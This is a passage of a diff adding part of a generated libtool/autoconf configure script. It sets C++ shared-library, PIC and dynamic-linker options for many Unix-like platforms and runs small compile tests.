+ no_undefined_flag_CXX=' ${wl}-bernotok' + allow_undefined_flag_CXX=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_CXX=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_CXX=' ' + archive_cmds_need_lc_CXX=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_CXX='-L$libdir' + allow_undefined_flag_CXX=unsupported + always_export_symbols_CXX=no + enable_shared_with_static_runtimes_CXX=yes + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs_CXX=no + fi + ;; + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_CXX=no + hardcode_direct_CXX=no + hardcode_automatic_CXX=yes + hardcode_shlibpath_var_CXX=unsupported + whole_archive_flag_spec_CXX='' + link_all_deplibs_CXX=yes + + if test "$GXX" = yes ; then + lt_int_apple_cc_single_mod=no + output_verbose_link_cmd='echo' + if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then + lt_int_apple_cc_single_mod=yes + fi + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + else + archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + fi + module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + if test "X$lt_int_apple_cc_single_mod" = Xyes ; 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list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_CXX=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + fi + ;; + esac + ;; + psos*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + sco*) + archive_cmds_need_lc_CXX=no + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + lcc) + # Lucid + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + no_undefined_flag_CXX=' -zdefs' + archive_cmds_CXX='$CC -G${allow_undefined_flag} -nolib -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + hardcode_libdir_flag_spec_CXX='-R$libdir' + hardcode_shlibpath_var_CXX=no + case $host_os in + solaris2.0-5 | solaris2.0-5.*) ;; + *) + # The C++ compiler is used as linker so we must use $wl + # flag to pass the commands to the underlying system + # linker. + # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + ;; + esac + link_all_deplibs_CXX=yes + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep "\-[LR]"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs' + ;; + gcx) + # Green Hills C++ Compiler + archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + no_undefined_flag_CXX=' ${wl}-z ${wl}defs' + if $CC --version | grep -v '^2\.7' > /dev/null; then + archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + else + # g++ 2.7 appears to require `-G' NOT `-shared' on this + # platform. + archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + fi + + hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir' + fi + ;; + esac + ;; + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + archive_cmds_need_lc_CXX=no + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + esac + ;; + vxworks*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + *) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; +esac +echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 +echo "${ECHO_T}$ld_shlibs_CXX" >&6 +test "$ld_shlibs_CXX" = no && can_build_shared=no + +GCC_CXX="$GXX" +LD_CXX="$LD" + + +cat > conftest.$ac_ext <<EOF +class Foo +{ +public: + Foo (void) { a = 0; } +private: + int a; +}; +EOF + +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Parse the compiler output and extract the necessary + # objects, libraries and library flags. + + # Sentinel used to keep track of whether or not we are before + # the conftest object file. + pre_test_object_deps_done=no + + # The `*' in the case matches for architectures that use `case' in + # $output_verbose_cmd can trigger glob expansion during the loop + # eval without this substitution. + output_verbose_link_cmd="`$echo \"X$output_verbose_link_cmd\" | $Xsed -e \"$no_glob_subst\"`" + + for p in `eval $output_verbose_link_cmd`; do + case $p in + + -L* | -R* | -l*) + # Some compilers place space between "-{L,R}" and the path. + # Remove the space. + if test $p = "-L" \ + || test $p = "-R"; then + prev=$p + continue + else + prev= + fi + + if test "$pre_test_object_deps_done" = no; then + case $p in + -L* | -R*) + # Internal compiler library paths should come after those + # provided the user. The postdeps already come after the + # user supplied libs so there is no need to process them. + if test -z "$compiler_lib_search_path_CXX"; then + compiler_lib_search_path_CXX="${prev}${p}" + else + compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}" + fi + ;; + # The "-l" case would never come before the object being + # linked, so don't bother handling this case. + esac + else + if test -z "$postdeps_CXX"; then + postdeps_CXX="${prev}${p}" + else + postdeps_CXX="${postdeps_CXX} ${prev}${p}" + fi + fi + ;; + + *.$objext) + # This assumes that the test object file only shows up + # once in the compiler output. + if test "$p" = "conftest.$objext"; then + pre_test_object_deps_done=yes + continue + fi + + if test "$pre_test_object_deps_done" = no; then + if test -z "$predep_objects_CXX"; then + predep_objects_CXX="$p" + else + predep_objects_CXX="$predep_objects_CXX $p" + fi + else + if test -z "$postdep_objects_CXX"; then + postdep_objects_CXX="$p" + else + postdep_objects_CXX="$postdep_objects_CXX $p" + fi + fi + ;; + + *) ;; # Ignore the rest. + + esac + done + + # Clean up. + rm -f a.out a.exe +else + echo "libtool.m4: error: problem compiling CXX test program" +fi + +$rm -f confest.$objext + +case " $postdeps_CXX " in +*" -lc "*) archive_cmds_need_lc_CXX=no ;; +esac + +lt_prog_compiler_wl_CXX= +lt_prog_compiler_pic_CXX= +lt_prog_compiler_static_CXX= + +echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6 + + # C++ specific cases for pic, static, wl, etc. + if test "$GXX" = yes; then + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_CXX='-Bstatic' + fi + ;; + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4' + ;; + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | os2* | pw32*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_CXX='-DDLL_EXPORT' + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_CXX='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + lt_prog_compiler_pic_CXX= + ;; + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_CXX=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + ;; + *) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + esac + ;; + *) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + esac + else + case $host_os in + aix4* | aix5*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_CXX='-Bstatic' + else + lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68) + # Green Hills C++ Compiler + # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_CXX='-qnocommon' + lt_prog_compiler_wl_CXX='-Wl,' + ;; + esac + ;; + dgux*) + case $cc_basename in + ec++) + lt_prog_compiler_pic_CXX='-KPIC' + ;; + ghcx) + # Green Hills C++ Compiler + lt_prog_compiler_pic_CXX='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + if test "$host_cpu" != ia64; then + lt_prog_compiler_pic_CXX='+Z' + fi + ;; + aCC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_CXX='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux*) + case $cc_basename in + KCC) + # KAI C++ Compiler + lt_prog_compiler_wl_CXX='--backend -Wl,' + lt_prog_compiler_pic_CXX='-fPIC' + ;; + icpc) + # Intel C++ + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_pic_CXX='-KPIC' + lt_prog_compiler_static_CXX='-static' + ;; + cxx) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + lt_prog_compiler_pic_CXX= + lt_prog_compiler_static_CXX='-non_shared' + ;; + *) + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx) + lt_prog_compiler_pic_CXX='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC) + lt_prog_compiler_wl_CXX='--backend -Wl,' + ;; + RCC) + # Rational C++ 2.4.1 + lt_prog_compiler_pic_CXX='-pic' + ;; + cxx) + # Digital/Compaq C++ + lt_prog_compiler_wl_CXX='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + lt_prog_compiler_pic_CXX= + lt_prog_compiler_static_CXX='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + sco*) + case $cc_basename in + CC) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + *) + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + lt_prog_compiler_pic_CXX='-KPIC' + lt_prog_compiler_static_CXX='-Bstatic' + lt_prog_compiler_wl_CXX='-Qoption ld ' + ;; + gcx) + # Green Hills C++ Compiler + lt_prog_compiler_pic_CXX='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + lt_prog_compiler_pic_CXX='-pic' + lt_prog_compiler_static_CXX='-Bstatic' + ;; + lcc) + # Lucid + lt_prog_compiler_pic_CXX='-pic' + ;; + *) + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + lt_prog_compiler_pic_CXX='-KPIC' + ;; + *) + ;; + esac + ;; + unixware*) + ;; + vxworks*) + ;; + *) + lt_prog_compiler_can_build_shared_CXX=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_CXX" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_CXX" >&6 + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_CXX"; then + +echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... $ECHO_C" >&6 +if test "${lt_prog_compiler_pic_works_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_CXX=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:11203: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:11207: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_CXX=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_CXX" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_CXX" >&6 + +if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then + case $lt_prog_compiler_pic_CXX in + "" | " "*) ;; + *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;; + esac +else + lt_prog_compiler_pic_CXX= + lt_prog_compiler_can_build_shared_CXX=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_CXX= + ;; + *) + lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC" + ;; +esac + +echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_c_o_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_CXX=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:11263: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:11267: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_CXX=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_CXX" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_CXX" >&6 + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6 + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6 + + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + case $host_os in + aix4* | aix5*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + export_symbols_cmds_CXX="$ltdll_cmds" + ;; + cygwin* | mingw*) + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + ;; + *) + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac + +echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 +echo "${ECHO_T}$ld_shlibs_CXX" >&6 +test "$ld_shlibs_CXX" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_CXX" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_CXX=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_CXX in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6 + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_CXX + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_CXX + allow_undefined_flag_CXX= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_CXX=no + else + archive_cmds_need_lc_CXX=yes + fi + allow_undefined_flag_CXX=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + echo "$as_me:$LINENO: result: $archive_cmds_need_lc_CXX" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_CXX" >&6 + ;; + esac + fi + ;; +esac + +echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib<name>.so + # instead of lib<name>.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + 